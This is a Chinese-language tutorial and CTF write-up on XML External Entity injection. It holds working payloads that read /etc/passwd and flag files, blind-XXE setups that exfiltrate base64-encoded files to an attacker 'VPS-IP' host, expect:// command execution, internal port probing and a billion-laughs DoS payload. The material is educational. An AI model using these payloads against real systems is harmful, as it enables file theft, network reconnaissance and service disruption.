简单XXE漏洞理解以及在实战中演练

1.概念


XXE(XML External Entity Injection) 全称为 XML 外部实体注入。这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。

2.语法

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构
 

3.结构


1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

4.介绍一下XML文档

<?xml version="1.0"  encoding="utf-8" standalone="yes"?>
<!--第一行是XML声明-->
<!--这是XML处理指令的例子。处理指令以<?开始,以?>结束-->
<!--在<?后的第一个单词是处理指令名,在本例中是xml-->
<!--处理指令一定要顶格写,前面不能有任何空白--><students><GREETING><!--开始标记-->Hello World<!--元素内容--></GREETING><!--结束标记--><student  gender="male" isHandsome="true">                
<id>001</id>                
<name>zhangsan</name>
<address>Beijing</address>
<score>50</score>
</student><student gender="female">                
<id>002</id>                
<name>lisi</name>
<address>北京</address>
<score/><!--为空的简写形式-->
</student></students>


注:
文档注释用 包围,不允许嵌套,允许多行注释。
XML里面的元素严格区分大小写。
XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)

1、XML文档说明


每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。
XML声明有version 、encoding和standalone特性。
version特性表明这个文档符合XML 1.0规范。
encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。
像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。
自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。
如果属性值中有双引号则使用单引号,反之亦然。
属性的形式为:

**属性名= “属性值”,**比如gender=“male”。

多个属性值之间用空格隔开(一个或多个空格都可以)。

在一个元素上,相同的属性只能出现一次。

属性值不能包含<, >, &。

2、实体


实体叫ENTITY,实体的作用是避免重复输入。
在XML中,有5个预定义的实体引用

自定义实体语法:

<!DOCTYPE 根元素
<!ENTITY 实体名 "实体内容">
]>
引用已定义的实体:
&实体名;

3、处理指令PI


处理指令用于XML解析器传递信息到应用程序。

语法:<?目标 指令?>

PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。

4、CDATA节


用于把整段文本解释为纯字符数据而不是标记的情况。

包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。

语法:

<![CDATA[......
]]>


可以输入任意字符(除]]外),不能嵌套。

<?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[<hello>
<world>

 

这里放任何内容都是合法的

]]><subRoot></subRoot>
</root>

 


5、PCDATA节


PCDATA表示已解析的字符数据。

PCDATA的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何& < >字符;需要使用& < >实体来分别替换它们。

5.什么是DTD

DTD是XML文档的一个格式规范exp://这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)><!DOCTYPE message [
#这个就是定义了一个根元素message<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序



6.DTD的三种应用形式:


1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>

exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

exp:外部的DTD文档
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd">
<data>
<aaa>1<aaa>
<bbb>2<bbb>
<ccc>3<ccc>
</data>

3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

<pre>exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

7.DTD元素


8.DTD实体
内部实体
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:`&`符号, 一个实体名称, 以及一个分号`(;)`

exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>

这里定义的实体是xxe,实体的值是hello

外部实体
<!ENTITY 实体名称 SYSTEM "URL">

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
 


参数实体
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
1
9.利用XXE攻击


读取任意文件
有回显
我们结合具体题目来分析。

例题:

1.picoctf2023 SOAP
题目提示我们要看系统配置文件/etc/passwd

有三个按钮,都点了一下没有东西

看一下源码,源码有一个xml的js文件看一下


window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}


这里有一个XML文档说明

以及说明了XML的根元素为data

抓一下包看一下

这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)

构造我们的payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd"
]>
<data>
<ID>
2&xxe;
</ID>
</data>

发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在

参考Content-Type 详解

改为application/xml,发现成功得到flag

2.[NCTF 2019]Fake XML cookbook
随便测试一下,发现通过报错信息回显

查看一下源码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}</pre>

这里给出了我们DTD,我们根据DTD进行构造payload即可

<pre xml:lang="xml" lang="xml"><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [     #根据给出的DTD,可知根元素是data
<!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>


成功回显

尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>

3.[NCTF 2019]True XML cookbook
跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE

就感觉有可能是内网探测

利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1

尝试爆破端口,我爆破到10000多也没有什么信息,

之后查看内网存活主机/etc/hosts

发现有一台存活主机

直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag

无回显
也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值

(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)

方案一:

在自己的VPS上创建一个test.php

<?php
file_put_contents("test.txt", $_GET['file']) ;
?>

再创建一个index.php

\<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://VPS-IP/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

再创建一个test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">
1
当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

方案二

可以将文件内容发送到远程服务器,然后读取。

exp:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>

然后在自己的VPS上创建一个evil.xml,内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

用来获取用户的配置文件

方案三

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.

exp:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成%。下面是具体的代码实现

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://VPS-IP/?%file;’>”
>
%all;

如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果

没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据

方案四

其实跟方案四差不多,但是可以利用监听VPS端口来获取信息

方法是在自己的VPS上创建一个evil.dtd

exp:
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://VPS-IP:3333/%file;'> ">
%dtd;
%xxe;

之后再根据题目的要求,上传一个payload

exp:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
%aaa;
]>
<root>66666</root>

之后在自己的VPS上监听3333端口就行

python -m http.server 3333
#前提是自己的VPS需要配置好http服务

命令执行
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

探测端口
适用于有回显和blind xxe,是外部一般实体

exp:
<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>

<name>&content;</name>

根据响应时间判断:(看BP右下角的响应时间)

开放端口,响应时间为16millis

未开放端口,延迟反应1047millis

DOS攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/498688.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开源简史与概览

Think 1.论述“自由软件”与“开源软件”的区别与联系&#xff1f; 2.GitHub Trending 是一个能够快速找到有趣的新项目的地方&#xff1b;而 OpenLeaderboard 也是一个能够发现有趣而有影响力项目的地方。尝试从这两个网站中找到感兴趣的若干项目&#xff0c;挖掘并分析出上…

006-Jetpack Compose for Android之传感器数据

需求分析 想要看看手机的传感器数据&#xff0c;看看滤波一下能玩点什么无聊的。先搞个最简单的&#xff0c;手机本身的姿态。 需求&#xff1a;采集手机姿态数据&#xff0c;显示在界面上。 那么我们需要&#xff1a; 一个文本标签类似的控件&#xff0c;显示手机姿态数据…

单元测试入门和mockup

Java 新手入门&#xff1a;Java单元测试利器&#xff0c;Mock详解_java mock-CSDN博客 这个是典型的before when assert三段式&#xff0c;学一下单测思路 这个没有动态代理&#xff0c;所以是直接class(对比下面) Jmockit使用笔记_增加代码覆盖率_覆盖try catch_使用new Mock…

抢先体验:人大金仓数据库管理系统KingbaseES V9 最新版本 CentOS 7.9 部署体验

一、简介 KingbaseES 是中国人大金仓信息技术股份有限公司自主研发的一款通用关系型数据库管理系统&#xff08;RDBMS&#xff09;。 作为国产数据库的杰出代表&#xff0c;它专为中国市场设计&#xff0c;广泛应用于政府、金融、能源、电信等关键行业&#xff0c;以高安全性…

HT-HaiBOX边缘计算盒 智慧工厂方案,智慧医疗方案,智慧加油站方案,智慧安防方案,智慧城市方案;方案定制开发

背景介绍 在当今数字化时代&#xff0c;各个行业对于智能化视频监控设备的需求日益增长。无论是安防监控&#xff0c;还是智慧工厂、智慧城市等领域&#xff0c;都需要高效、智能的设备来保障安全和提高生产效率。然而&#xff0c;传统的视频监控设备存在诸多痛点&#xff1a;…

Unity中实现转盘抽奖效果(一)

实现思路&#xff1a; 旋转转盘的z轴&#xff0c;开始以角加速度加速到角速度最大值&#xff0c;结束的时候&#xff0c;以角加速度减速使角速度减少到0&#xff0c;然后转盘z轴旋转的角度就是加上每秒以角速度数值大小&#xff0c;为了使角度不能一直增大&#xff0c;对360度…

LockSupport的源码实现原理(一)

目录 底层源码分析 线程状态变化 许可证机制 中断处理 底层源码分析 public class LockSupport {// Unsafe实例private static final Unsafe U Unsafe.getUnsafe();// Thread对象中parkBlocker字段的偏移量private static final long PARKBLOCKER U.objectFieldOffset(Thre…

电子应用设计方案80:智能桌椅系统设计

智能桌椅系统设计 一、引言 智能桌椅系统旨在为用户提供更加舒适、便捷和个性化的使用体验&#xff0c;适应不同的工作和学习场景。 二、系统概述 1. 系统目标 - 实现桌椅高度、角度的自动调节&#xff0c;适应不同用户的身体尺寸和使用需求。 - 具备坐姿监测和提醒功能&…

【SpringBoot】深度解析 Spring Boot 拦截器:实现统一功能处理的关键路径

前言 &#x1f31f;&#x1f31f;本期讲解关于拦截器的详细介绍~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么废话不多说…

网络渗透测试实验四:CTF实践

1.实验目的和要求 实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具…

计算机毕业设计Python+Spark考研预测系统 考研推荐系统 考研数据分析 考研大数据 大数据毕业设计 大数据毕设

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

2024年度总结:保持正念 延迟满足

总结&#xff1a; 时光荏苒&#xff0c;很快就到了年底&#xff0c;2024年也就悄悄的过去了&#xff0c;回顾这一年&#xff0c;有很多的感触&#xff0c;在此做一个总结&#xff0c;留下自己的脚印 CTF&#xff1a; 要总结的第一件事那当然是CTF&#xff0c;回顾这一年&#…

LeetCode - 初级算法 数组(存在重复元素)

存在重复元素 这篇文章讨论如何判断一个数组中是否存在重复元素。 免责声明:本文来源于个人知识与公开资料,仅用于学术交流。 描述 给定一个整数数组 nums,如果任一值在数组中出现至少两次,返回 true;如果数组中每个元素互不相同,返回 false。 示例: 输入: nums =…

03-spring-理-DefaultListableBeanFactory

DefaultListableBeanFactory 是 beanFactory的实现 重要 有一些类被注解标注了。但是没有加入到容器。 怎么将标注的类加入到容器&#xff1f; 这个时候使用bean的后置处理器 主要是通过bean后置处理器来处理 被注解标注的类 org.springframework.context.annotation.inter…

绘制三元图、颜色空间图:R语言代码

本文介绍基于R语言中的Ternary包&#xff0c;绘制三元图&#xff08;Ternary Plot&#xff09;的详细方法&#xff1b;其中&#xff0c;我们就以RGB三色分布图为例来具体介绍。 三元图可以从三个不同的角度反映数据的特征&#xff0c;因此在很多领域都得以广泛应用&#xff1b;…

30天开发操作系统 第 10 天 -- 叠加处理

前言 得益于昨天的努力&#xff0c;我们终于可以进行内存管理了。不过仔细一看会注意到&#xff0c;bootpack.c都已经有254行了。笔者感觉这段程序太长了&#xff0c;决定整理一下&#xff0c;分出一部分到memory.c中去。(整理中)…好了&#xff0c;整理完了。现在bootpack.c变…

2024年RAG:回顾与展望

2024年&#xff0c;RAG&#xff08;Retrieval-Augmented Generation&#xff09;技术经历了从狂热到理性的蜕变&#xff0c;成为大模型应用领域不可忽视的关键力量。年初&#xff0c;AI的“无所不能”让市场充满乐观情绪&#xff0c;RAG被视为解决复杂问题的万能钥匙&#xff1…

鸿蒙项目云捐助第三十一讲云捐助项目云前台显示商品列表

鸿蒙项目云捐助第三十一讲云捐助项目云前台显示商品列表 前面完成了云数据库后台的商品批量添加&#xff0c;这里需要把数据放在分类导航页面中显示。 一、云前台显示商品列表 这里需要把商品列表显示在MyNavSliderBar的组件中,MyNavSliderBar组件是通过首页路由实现的,在项…

【brew安装失败】DNS 查询 raw.githubusercontent.com 返回的是 0.0.0.0

从你提供的 nslookup 输出看&#xff0c;DNS 查询 raw.githubusercontent.com 返回的是 0.0.0.0&#xff0c;这通常意味着无法解析该域名或该域名被某些 DNS 屏蔽了。这种情况通常有几个可能的原因&#xff1a; 可能的原因和解决方法 本地 DNS 问题&#xff1a; 有可能是你的本…

【SpringMVC】拦截器

拦截器&#xff08;Interceptor&#xff09;是一种用于动态拦截方法调用的机制。在 Spring MVC 中&#xff0c;拦截器能够动态地拦截控制器方法的执行过程。以下是请求发送与接收的基本流程&#xff1a; 当浏览器发出请求时&#xff0c;请求首先到达 Tomcat 服务器。Tomcat 根…